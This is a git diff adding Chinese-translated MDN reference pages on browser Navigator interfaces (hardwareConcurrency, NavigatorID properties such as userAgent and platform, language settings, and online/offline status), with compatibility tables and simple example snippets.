Basic support{{CompatVersionUnknown}} {{property_prefix("webkit")}}
+ {{CompatVersionUnknown}} (unprefixed) [2][3]
{{CompatVersionUnknown}} {{property_prefix("webkit")}}
+ {{CompatVersionUnknown}} (unprefixed) [2][3]
{{CompatGeckoMobile("11.0")}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile("16.0")}} (no prefix) [1]
{{CompatNo}}{{CompatVersionUnknown}}[3]{{CompatNo}}
+
+ +

[1] 当震动模式太长或者其中一次震动的时长太长时,截至 Firefox 26,Gecko 将会抛出一个异常,而不是返回 false ({{bug("884935")}})。从 Firefox 32 开始,Gecko 返回 true,但是会将该模式截断 ({{bug(1014581)}})。

+ +

[2] 从 Chrome 55 开始,跨域的 iframe 中不支持该 API。

+ +

[3] 从 Chrome 60/Opera 47 开始,该方法需要一个用户手势。否则会返回 false

+ +

更多

+ + diff --git a/files/zh-cn/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html b/files/zh-cn/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html new file mode 100644 index 0000000000..806e40fbec --- /dev/null +++ b/files/zh-cn/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html @@ -0,0 +1,69 @@ +--- +title: navigator.hardwareConcurrency +slug: Web/API/NavigatorConcurrentHardware/hardwareConcurrency +translation_of: Web/API/NavigatorConcurrentHardware/hardwareConcurrency +--- +

{{APIRef("HTML DOM")}}

+ +

{{AvailableInWorkers}}

+ +

navigator.hardwareConcurrency 指明当前浏览器环境所拥有的CPU核心数,这来自于操作系统提供的API来获取。

+ +

用法

+ +
CPU核心数= window.navigator.hardwareConcurrency
+
+ +

Value

+ +

A {{jsxref("Number")}} indicating the number of logical processor cores.

+ +

Modern computers have multiple physical processor cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may offer eight logical processor cores, for example. The number of logical processor cores can be used to measure the number of threads which can effectively be run at once without them having to context switch.

+ +

The browser may, however, choose to report a lower number of logical cores in order to represent more accurately the number of {{domxref("Worker")}}s that can run at once, so don't treat this as an absolute measurement of the number of cores in the user's system.

+ +

Examples

+ +

In this example, one {{domxref("Worker")}} is created for each logical processor reported by the browser and a record is created which includes a reference to the new worker as well as a Boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use. This creates a pool of workers we can use to process requests later.

+ +
let workerList = [];
+
+for (let i = 0; i < window.navigator.hardwareConcurrency; i++) {
+  let newWorker = {
+    worker: new Worker('cpuworker.js'),
+    inUse: false
+  };
+  workerList.push(newWorker);
+}
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorconcurrenthardware', 'NavigatorConcurrentHardware')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.NavigatorConcurrentHardware.hardwareConcurrency")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/navigatorconcurrenthardware/index.html b/files/zh-cn/web/api/navigatorconcurrenthardware/index.html new file mode 100644 index 0000000000..d7cee835c0 --- /dev/null +++ b/files/zh-cn/web/api/navigatorconcurrenthardware/index.html @@ -0,0 +1,71 @@ +--- +title: NavigatorConcurrentHardware +slug: Web/API/NavigatorConcurrentHardware +tags: + - API + - Concurrency + - HTML DOM + - Interface + - Navigator + - NavigatorCPU + - NavigatorConcurrentHardware + - NeedsBrowserCompatibility + - NeedsTranslation + - Reference + - Threading + - Threads + - TopicStub + - WorkerNavigator + - Workers +translation_of: Web/API/NavigatorConcurrentHardware +--- +

{{APIRef("HTML DOM")}}

+ +

The NavigatorConcurrentHardware {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} interface features which allow Web content to determine how many logical processors the user has available, in order to let content and Web apps optimize their operations to best take advantage of the user's CPU.

+ +

{{AvailableInWorkers}}

+ +

The number of logical processor cores is a way to measure the number of threads which can effectively be run at once without them having to share CPUs. Modern computers have multiple physical cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may return 8. The browser may, however, choose to reduce the number in order to represent more accurately the number of {{domxref("Worker")}}s that can run at once

+ +

Properties

+ +
+
{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readonlyinline}}
+
Returns the number of logical processors which may be available to the user agent. This value is always at least 1, and will be 1 if the actual number of logical processors can't be determined.
+
+ +

Methods

+ +

The NavigatorConcurrentHardware mixin has no methods.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorconcurrenthardware', 'NavigatorConcurrentHardware')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.NavigatorConcurrentHardware")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/navigatorgeolocation/index.html b/files/zh-cn/web/api/navigatorgeolocation/index.html new file mode 100644 index 0000000000..5b859ea1c8 --- /dev/null +++ b/files/zh-cn/web/api/navigatorgeolocation/index.html @@ -0,0 +1,104 @@ +--- +title: NavigatorGeolocation +slug: Web/API/NavigatorGeolocation +translation_of: Web/API/Geolocation +--- +

{{APIRef("Geolocation API")}}

+ +

NavigatorGeolocation  contains a creation method allowing objects implementing it to obtain a {{domxref("Geolocation")}} instance.

+ +

There is no object of type NavigatorGeolocation, but some interfaces, like {{domxref("Navigator")}} implements it.

+ +

Properties

+ +

The NavigatorGeolocation interface doesn't inherit any property.

+ +
+
{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}
+
Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.
+
+ +

Methods

+ +

The NavigatorGeolocation interface neither implements, nor inherit any method.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation')}}{{Spec2('Geolocation')}}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

See also

+ + + +

 

diff --git a/files/zh-cn/web/api/navigatorid/appcodename/index.html b/files/zh-cn/web/api/navigatorid/appcodename/index.html new file mode 100644 index 0000000000..5f5f0e91da --- /dev/null +++ b/files/zh-cn/web/api/navigatorid/appcodename/index.html @@ -0,0 +1,36 @@ +--- +title: NavigatorID.appCodeName +slug: Web/API/NavigatorID/appCodeName +translation_of: Web/API/NavigatorID/appCodeName +--- +

{{ ApiRef() }}

+ +

概述

+ +

返回所使用浏览器的内部名称.

+ +

语法

+ +
codeName = window.navigator.appCodeName
+
+ +

参数

+ + + +

例子

+ +
dump(window.navigator.appCodeName);
+
+ +

笔记

+ +

Mozilla, Netscape 6, 和 IE5 的内部名称都是 "Mozilla".

+ +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( { "en": "en/DOM/window.navigator.appCodeName","ja": "ja/DOM/window.navigator.appCodeName", "pl": "pl/DOM/window.navigator.appCodeName" } ) }}

diff --git a/files/zh-cn/web/api/navigatorid/appname/index.html b/files/zh-cn/web/api/navigatorid/appname/index.html new file mode 100644 index 0000000000..389e0b367b --- /dev/null +++ b/files/zh-cn/web/api/navigatorid/appname/index.html @@ -0,0 +1,37 @@ +--- +title: NavigatorID.appName +slug: Web/API/NavigatorID/appName +translation_of: Web/API/NavigatorID/appName +--- +

{{ ApiRef() }}

+ +

概述

+ +

返回所使用浏览器的名称。由于兼容性问题,HTML5 规范允许该属性返回 "Netscape" 。

+ +
注意:该属性并不一定能返回正确的浏览器名称。在基于 Gecko 的浏览器 (例如 Firefox)和基于 WebKit 的浏览器(例如 Chrome 和 Safari)中,返回的浏览器名称都是 "Netscape".
+ +

语法

+ +
appName = window.navigator.appName
+
+ +

返回值

+ + + +

例子

+ +
alert(window.navigator.appName);
+// 显示浏览器名称
+
+ +

规范

+ + + +

该属性起初属于 DOM Level 0 ,目前已经被添加到HTML5规范中。

diff --git a/files/zh-cn/web/api/navigatorid/appversion/index.html b/files/zh-cn/web/api/navigatorid/appversion/index.html new file mode 100644 index 0000000000..8fe576cecf --- /dev/null +++ b/files/zh-cn/web/api/navigatorid/appversion/index.html @@ -0,0 +1,42 @@ +--- +title: NavigatorID.appVersion +slug: Web/API/NavigatorID/appVersion +translation_of: Web/API/NavigatorID/appVersion +--- +

{{APIRef("HTML DOM")}}{{deprecated_header}}

+ +

概述

+ +

返回一个字符串,表示所使用浏览器的版本号。它可能只包含一个版本数字,如 "5.0",还可能包含一些其他的相关信息。由于兼容性问题,HTML5规范允许该属性返回 "4.0"。

+ +
注意:该属性并不一定能返回正确的浏览器版本号。在基于 Gecko 的浏览器 (例如 Firefox)和基于 WebKit 的浏览器(例如 Chrome 和 Safari)中,返回的浏览器版本号都是 "5.0",后跟一些操作系统与语言信息,比如 "5.0 (Windows; zh-CN)"。在Opera 10及以上版本,该属性的返回值也不是实际的浏览器版本号。
+ +

语法

+ +
ver = window.navigator.appVersion
+
+ +

返回值

+ + + +

例子

+ +
alert("你的浏览器版本为" + navigator.appVersion);
+
+ +

备注

+ +

window.navigator.userAgent 也包含一些浏览器的版本信息(比如:"Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1"),但是你应该知道,修改浏览器的userAgent字符串以及伪造它成为其他的浏览器、其他的操作系统等等是非常容易的。而且,就算不伪造,浏览器提供商也不会保证这些数据就是准确的。

+ +

window.navigator.appVersionwindow.navigator.appNamewindow.navigator.userAgent 等属性都被用来编写一些"浏览器检测"的相关代码:脚本会尝试根据检测出的浏览器类型来相印的调整页面显示。种情况下,用户可以伪造相关的浏览器信息来查看一些本来不允许自己所使用的浏览器或平台查看的页面。

+ +

规范

+ + + +

该属性最初属于 DOM Level 0,目前已经被添加到 HTML5 规范中。

diff --git a/files/zh-cn/web/api/navigatorid/index.html b/files/zh-cn/web/api/navigatorid/index.html new file mode 100644 index 0000000000..5fab09ada5 --- /dev/null +++ b/files/zh-cn/web/api/navigatorid/index.html @@ -0,0 +1,120 @@ +--- +title: NavigatorID +slug: Web/API/NavigatorID +translation_of: Web/API/NavigatorID +--- +

{{APIRef("HTML DOM")}}

+ +

NavigatorID 接口包含浏览器识别相关的方法和属性。

+ +

没有一个 NavigatorID 类型的对象,他是其他接口,如 {{domxref("Navigator")}} 或 {{domxref("WorkerNavigator")}} 实现了该接口。

+ +

属性

+ +

NavigatorID 接口没有继承任何属性。

+ +
+
{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}
+
任何浏览器中,总是返回 'Gecko'。该属性仅仅是为了保持兼容性。
+
{{domxref("NavigatorID.appName")}} {{readonlyInline}}
+
返回浏览器的官方名称。不要指望该属性返回正确的值。
+
{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}
+
返回一个字符串,表示浏览器的版本。不要指望该属性返回正确的值。
+
{{domxref("NavigatorID.platform")}} {{readonlyInline}}
+
返回一个字符串,表示浏览器的所在系统平台。
+
{{domxref("NavigatorID.product")}} {{readonlyInline}}
+
返回当前浏览器的产品名称(如,"Gecko")。
+
{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}
+
返回当前浏览器的用户代理字符串(user agent string)。
+
+ +

方法

+ +

NavigatorID 接口没有继承任何方法。

+ +
+
{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}} {{experimental_inline}}
+
总是返回 false。JavaScript taint/untaint 函数在 JavaScript 1.2 中被移除了。该方法只是为了兼容性。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML WHATWG')}}Added the appCodeName property and the taintEnabled() method,  for compatibility purpose.
{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML5 W3C')}}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/navigatorid/platform/index.html b/files/zh-cn/web/api/navigatorid/platform/index.html new file mode 100644 index 0000000000..a80d295ccb --- /dev/null +++ b/files/zh-cn/web/api/navigatorid/platform/index.html @@ -0,0 +1,35 @@ +--- +title: NavigatorID.platform +slug: Web/API/NavigatorID/platform +translation_of: Web/API/NavigatorID/platform +--- +

{{ ApiRef() }}

+ +

概述

+ +

返回一个字符串,表示浏览器所在的系统平台类型.

+ +

语法

+ +
platform = navigator.platform
+
+ +

platform 可能是: "Win32", "Linux i686", "MacPPC", "MacIntel", 等.

+ +

例子

+ +
alert(navigator.platform);
+ +

备注

+ +

在普通网页中,如果about:config中存在general.platform.override项,则该属性的值会返回about:config中general.platform.override项的值. 在特权代码中 (chrome上下文或者拥有"UniversalBrowserRead"特权的网页中),返回的还是真实的平台类型.(译者注:语句:netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead ")用来激活所在网页的UniversalBrowserRead特权.)

+ +

规范

+ + + +

该属性由DOM Level 0提出, 目前已经被添加到HTML5规范中.

+ +

{{ languages( {"ja": "ja/DOM/window.navigator.platform", "en": "en/DOM/window.navigator.platform", "pl": "pl/DOM/window.navigator.platform" } ) }}

diff --git a/files/zh-cn/web/api/navigatorid/product/index.html b/files/zh-cn/web/api/navigatorid/product/index.html new file mode 100644 index 0000000000..0c660198d1 --- /dev/null +++ b/files/zh-cn/web/api/navigatorid/product/index.html @@ -0,0 +1,34 @@ +--- +title: NavigatorID.product +slug: Web/API/NavigatorID/product +translation_of: Web/API/NavigatorID/product +--- +
+ {{ApiRef}}
+

概述

+

该属性返回当前浏览器的产品名称。

+
+ 注意:该属性不一定返回一个真实的产品名称。Gecko 和 WebKit 浏览器返回 "Gecko" 作为该属性的值。
+

语法

+
productName = window.navigator.product
+
+ +

例子

+
<script>
+function prod() {
+  dt = document.getElementById("d");
+  dt.innerHTML = window.navigator.product;
+}
+</script>
+
+<button onclick="prod();">product</button>
+<div id="d"> </div>
+<!-- 返回 "Gecko" -->
+
+

备注

+

在基于 Gecko 的浏览器中,product 为完整的用户代理(user agent)字符串中紧跟着平台(platform)后的部分。例如,在 Netscape 6.1 的用户代理中,product 是 "Gecko",完整的代理字符串是:Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1

+

在基于 WebKit 的浏览器中,product 仍然返回 "Gecko",即使完整用户代理字符串中平台(platform)后紧跟着:(KHTML, like Gecko)

+

规范

+

{{dom0}}

diff --git a/files/zh-cn/web/api/navigatorid/useragent/index.html b/files/zh-cn/web/api/navigatorid/useragent/index.html new file mode 100644 index 0000000000..b5f2a23ab0 --- /dev/null +++ b/files/zh-cn/web/api/navigatorid/useragent/index.html @@ -0,0 +1,79 @@ +--- +title: NavigatorID.userAgent +slug: Web/API/NavigatorID/userAgent +translation_of: Web/API/NavigatorID/userAgent +--- +
{{ApiRef("HTML DOM")}}
+ +

NavigatorID.userAgent 只读属性返回当前浏览器的 user agent 字符串。

+ +
+

这一规范要求浏览器通过这一属性提供尽可能少的信息。不要假定同一浏览器的这一属性值会在未来的版本中保持不变。尽量不要使用这一属性,或者仅仅在现有和更早的版本中使用。较新的浏览器可能开始使用相同或近似的 UA,对于早期的浏览器而言:你不能确保该浏览器是其 NavigatorID.userAgent 属性所宣称的浏览器。

+ +

另外要记住,用户可以修改浏览器的此属性(UA 欺骗).

+
+ +

基于 user agent 字符串来识别浏览器是不可靠的,不推荐使用,因为 user agent 字符串是用户可配置的。例如:

+ + + +

语法

+ +
var ua = navigator.userAgent;
+
+ +

+ +

{{domxref("DOMString")}} 规定了浏览器提供给 {{Glossary("HTTP")}} headers 和其响应,以及其他与{{domxref("Navigator")}} 相关的方法的完整用户代理属性 。

+ +

用户代理属性由几个信息段组成一个整齐的结构,每个信息段都取值于其他 {{domxref("Navigator")}} 属性,这些属性也可以是用户设置的。基于 Gecko 内核的浏览器的 UA 遵守下列通用结构规范。

+ +
userAgent = appCodeName/appVersion number (Platform; Security; OS-or-CPU;
+Localization; rv: revision-version-number) product/productSub
+Application-Name Application-Name-version
+
+ +

例子

+ +
alert(window.navigator.userAgent)
+// alerts "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1"
+
+ + + +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-navigator-useragent', 'NavigatorID.userAgent')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.NavigatorID.userAgent")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/navigatorlanguage/index.html b/files/zh-cn/web/api/navigatorlanguage/index.html new file mode 100644 index 0000000000..c2bbe44db0 --- /dev/null +++ b/files/zh-cn/web/api/navigatorlanguage/index.html @@ -0,0 +1,68 @@ +--- +title: NavigatorLanguage +slug: Web/API/NavigatorLanguage +tags: + - API + - HTML-DOM + - NeedsTranslation + - No Interface + - Reference + - TopicStub +translation_of: Web/API/NavigatorLanguage +--- +

{{APIRef("HTML DOM")}}

+ +

NavigatorLanguage 包含涉及导航(Navigator)的语言特性的方法和属性。

+ +

其实 NavigatorLanguage 这个对象并不存在,但是,一些其它的接口,如 {{domxref("Navigator")}} 或 {{domxref("WorkerNavigator")}},实现了它。

+ +

属性

+ +

NavigatorLanguage 接口不继承任何属性。

+ +
+
{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}
+
返回一个 {{domxref("DOMString")}} 代表用户的首选语言,通常是浏览器 UI 的语言。若返回 null 值,则代表语言未知。
+
{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}
+
返回一个 {{domxref("DOMString")}} 数组,代表用户已知的语言,不同语言按照谁更佳排序。
+
+ +

方法

+ +

NavigatorLanguage 接口不依赖任何接口和方法。

+ +

标准

+ + + + + + + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML WHATWG')}}从 {{SpecName('HTML5 W3C')}} 出现开始,languages 属性已经被添加。
{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML5 W3C')}}初始标准;出现在 {{SpecName('HTML WHATWG')}} 的早期版本。
+ +

浏览器兼容性

+ + + +

{{Compat("api.NavigatorLanguage")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/navigatorlanguage/language/index.html b/files/zh-cn/web/api/navigatorlanguage/language/index.html new file mode 100644 index 0000000000..24602dea56 --- /dev/null +++ b/files/zh-cn/web/api/navigatorlanguage/language/index.html @@ -0,0 +1,64 @@ +--- +title: NavigatorLanguage.language +slug: Web/API/NavigatorLanguage/language +tags: + - API + - NavigatorLanguage + - 参考 + - 只读 + - 多语言 + - 属性 + - 语言 +translation_of: Web/API/NavigatorLanguage/language +--- +
{{APIRef("HTML DOM")}}
+ +

NavigatorLanguage.language 只读属性返回一个表示用户偏好语言的字符串,通常指浏览器 UI 的语言。

+ +

语法

+ +
let lang = navigator.language;
+
+ +

+ +

一个 {{domxref("DOMString")}}。lang 存储一个表示语言版本(在 BCP 47 中定义)的字符串。合法的语言版本有 "zh-CN"、"en"、"en-US"、"fr"、"es-ES" 等。

+ +

注意 macOS 和 iOS 平台上的 Safari(10.2 之前版本),国家代码为小写:"zh-cn"、"en-us"、"fr-fr" 等。

+ +

示例

+ +
if ( window.navigator.language != 'zh-CN' ) {
+  doLangSelect(window.navigator.language);
+}
+
+ +

标准

+ + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('HTML WHATWG', '#dom-navigator-language', 'NavigatorLanguage: language')}}{{Spec2('HTML WHATWG')}}初次定义
+ +

浏览器兼容性

+ +

{{Compat("api.NavigatorLanguage.language")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/navigatorlanguage/languages/index.html b/files/zh-cn/web/api/navigatorlanguage/languages/index.html new file mode 100644 index 0000000000..7378d105fa --- /dev/null +++ b/files/zh-cn/web/api/navigatorlanguage/languages/index.html @@ -0,0 +1,64 @@ +--- +title: NavigatorLanguage.languages +slug: Web/API/NavigatorLanguage/languages +tags: + - API + - languages + - 只读 + - 实验性 + - 属性 +translation_of: Web/API/NavigatorLanguage/languages +--- +

{{APIRef("HTML DOM")}}{{SeeCompatTable}}

+ +

NavigatorLanguage.languages 只读属性 ,返回一个 {{domxref("DOMString")}} 的数组,数组内容表示网站访客所使用的语言。 使用 BCP 47 语言标签来描述不同的语言。 在返回的数组中,最适合当前用户的语言将会被排到数组的首位。

+ +

{{domxref("NavigatorLanguage.language","navigator.language")}} 的值是该属性返回数组的第一个元素 [3]。(但它基于系统语言设置。)

+ +

当该值发生改变,即最适合用户的语言被改变, 事件{{event("languagechange")}} 将会在 {{domxref("Window")}} 对象下触发。

+ +

在每一个HTTP请求上的来自用户浏览器的HTTP协议头 Accept-Language 使用相同的来自 navigator.languages 属性的语言值,除了特殊的 qvalues (权重值) 字段 (如:en-US;q=0.8)。

+ +

语法

+ +
preferredLanguages = globalObj.navigator.languages
+
+ +

例子

+ +
navigator.language   //"en-US"
+navigator.languages  //["en-US", "zh-CN", "ja-JP"]
+
+ +

标准

+ + + + + + + + + + + + + + +
标准状态备注
{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}{{ Spec2('HTML5.1') }} +

初始化定义

+
+ +

浏览器兼容性

+ + + +

{{Compat("api.NavigatorLanguage.languages")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/navigatoronline/index.html b/files/zh-cn/web/api/navigatoronline/index.html new file mode 100644 index 0000000000..4e0f4431f8 --- /dev/null +++ b/files/zh-cn/web/api/navigatoronline/index.html @@ -0,0 +1,126 @@ +--- +title: NavigatorOnLine +slug: Web/API/NavigatorOnLine +tags: + - API + - HTML-DOM + - TopicStub +translation_of: Web/API/NavigatorOnLine +--- +

{{APIRef("HTML DOM")}}

+ +

NavigatorOnLine接口包含了与浏览器网络连接状态相关的方法和属性。

+ +

不存在NavigatorOnLine类型的对象,但是存在其他的接口,比如 {{domxref("Navigator")}} 或者 {{domxref("WorkerNavigator")}},可以实现它。

+ +

属性

+ +

NavigatorOnLine 接口并不能继承任何属性。

+ +
+
{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}
+
返回一个 {{domxref("Boolean")}} 值指示浏览器是否为在线状态。
+
+ +

方法

+ +

NavigatorOnLine 接口既不能实现,也不能继承任何方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注解
{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML WHATWG')}}对比最近的简况没有变化, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML5 W3C')}}{{SpecName('HTML WHATWG')}} 原始标准的简况.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特征ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
在{{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoDesktop(29)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特征AndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
 {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoMobile(29)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

浏览相关

+ + diff --git a/files/zh-cn/web/api/navigatoronline/online/index.html b/files/zh-cn/web/api/navigatoronline/online/index.html new file mode 100644 index 0000000000..d89f0baa57 --- /dev/null +++ b/files/zh-cn/web/api/navigatoronline/online/index.html @@ -0,0 +1,87 @@ +--- +title: NavigatorOnLine.onLine +slug: Web/API/NavigatorOnLine/onLine +tags: + - API + - DOM Reference +translation_of: Web/API/NavigatorOnLine/onLine +--- +

{{ApiRef("HTML DOM")}}

+ +

返回浏览器的联网状态。正常联网(在线)返回 true,不正常联网(离线)返回 false。一旦浏览器的联网状态发生改变,该属性值也会随之变化。当用户点击链接或者脚本进行网络请求时,如果发现浏览器连接不上互联网,则该属性会被赋值为false

+ +

各浏览器对该属性的实现有些不同。

+ +

在 Chrome 和 Safari 中,如果浏览器连接不上局域网(LAN)或者路由器,就是离线状态;否则就是在线状态。所以当该属性值为 false 的时候,你可以说浏览器不能正常联网,但如果该属性值为true的时候,并不意味着浏览器一定能连接上互联网。还有其他一些可能引起误判的原因,比如你的电脑安装了虚拟化软件,可能会有一个虚拟网卡,这时它总是会显示正常联网。因此,如果你想得到浏览器确切的联网状态,应该使用其他额外的检查手段。

+ +

在 Firefox 和 Internet Explorer 中,如果浏览器处于"脱机工作"状态,则返回 false。在 Firefox 41之前,所有其他条件都返回 true 值;在 Windows 上的 Nightly 68上测试实际行为表明,它仅查找类似 Chrome 和 Safari 的 LAN 连接,从而产生误报。

+ +

你可以在 window.ononline 和 window.onoffline上监听事件,来获取浏览器联网状态的改变情况。

+ +

语法

+ +
online = window.navigator.onLine;
+
+ +

取值

+ +

online 是个布尔值 truefalse。

+ +

示例

+ +

查看 在线演示.

+ +

想要查看你是否连接上了互联网,查询 window.navigator.onLine 的值,如下方示例:

+ +
if (navigator.onLine) {
+  alert('online')
+} else {
+  alert('offline');
+}
+
+ +

如果浏览器不支持 navigator.onLine,则上面的示例将始终显示为 false / undefined

+ +

要查看网络状态的变化,请使用 addEventListener  侦听 window.onlinewindow.offline 事件,如以下示例所示:

+ +
window.addEventListener("offline", function(e) {alert("offline");})
+
+window.addEventListener("online", function(e) {alert("online");})
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#dom-navigator-online", "navigator.onLine")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

浏览器兼容性

+ +

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("api.NavigatorOnLine.onLine")}}

+ +

备注

+ +

See Online/Offline Events‎ for a more detailed description of this property as well as new offline-related features introduced in Firefox 3.

+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/navigatoronline/online_and_offline_events/index.html b/files/zh-cn/web/api/navigatoronline/online_and_offline_events/index.html new file mode 100644 index 0000000000..bdf456094b --- /dev/null +++ b/files/zh-cn/web/api/navigatoronline/online_and_offline_events/index.html @@ -0,0 +1,121 @@ +--- +title: 在线和离线事件 +slug: Web/API/NavigatorOnLine/Online_and_offline_events +tags: + - AJAX + - DOM + - HTML5 + - Web 开发 + - 离线 web 应用 +translation_of: Web/API/NavigatorOnLine/Online_and_offline_events +--- +

部分浏览器根据 WHATWG Web Applications 1.0 规范 实现了Online/Offline 事件

+ +

概述

+ +

为了构建一个支持离线的 web 应用,你需要知道你的应用何时真正处于离线状态。同时,你还需要知道应用何时重新回到了「在线」状态。实际上,我们可以把需求分解成如下内容:

+ +
    +
  1. 你需要知道用户何时回到在线状态,这样你就可以与服务器重新同步。
  2. +
  3. 你需要知道用户何时处于离线状态,这样你就可以将对服务器的请求放入队列中以便稍后使用。
  4. +
+ +

这便是在线/离线事件所要处理的过程。

+ +

你的 web 应用可能需要使得某个特定的文档在离线资源缓存中得到维护。 你可以在 Firefox 中的离线资源 这篇文章中了解到更多内容。

+ +

API

+ + + +

navigator.onLine 是一个值为 true/false  (true 表示在线, false 表示离线) 的属性。当用户通过选择对应的菜单项 (Firefox 中为 文件 -> 离线工作) 切换到「离线模式」时,这个值就会被更新。

+ +

此外,当浏览器长时间无法连接到网络时,该值也会被更新。根据如下规范:

+ +
由于用户点击一个链接或是脚本请求一个远程页面(或者类似的操作失败了)从而导致户代理无法访问网络时, navigator.onLine 属性返回 false ...
+ +

在 Firefox 2 中,当在浏览器的离线模式中来回切换时会更新该属性。  Windows, Linux, 和 OS X 上的 Firefox 41 会在操作系统报告网络连接变化时更新该属性。

+ +

该属性存在于旧版本的 Firefox 与 Internet Explorer (规范就是以这些旧有实现为基础),因此你现在就可以使用该属性。Firefox 2实现了网络状态自动检测。

+ +

「online」与「offline」 事件

+ +

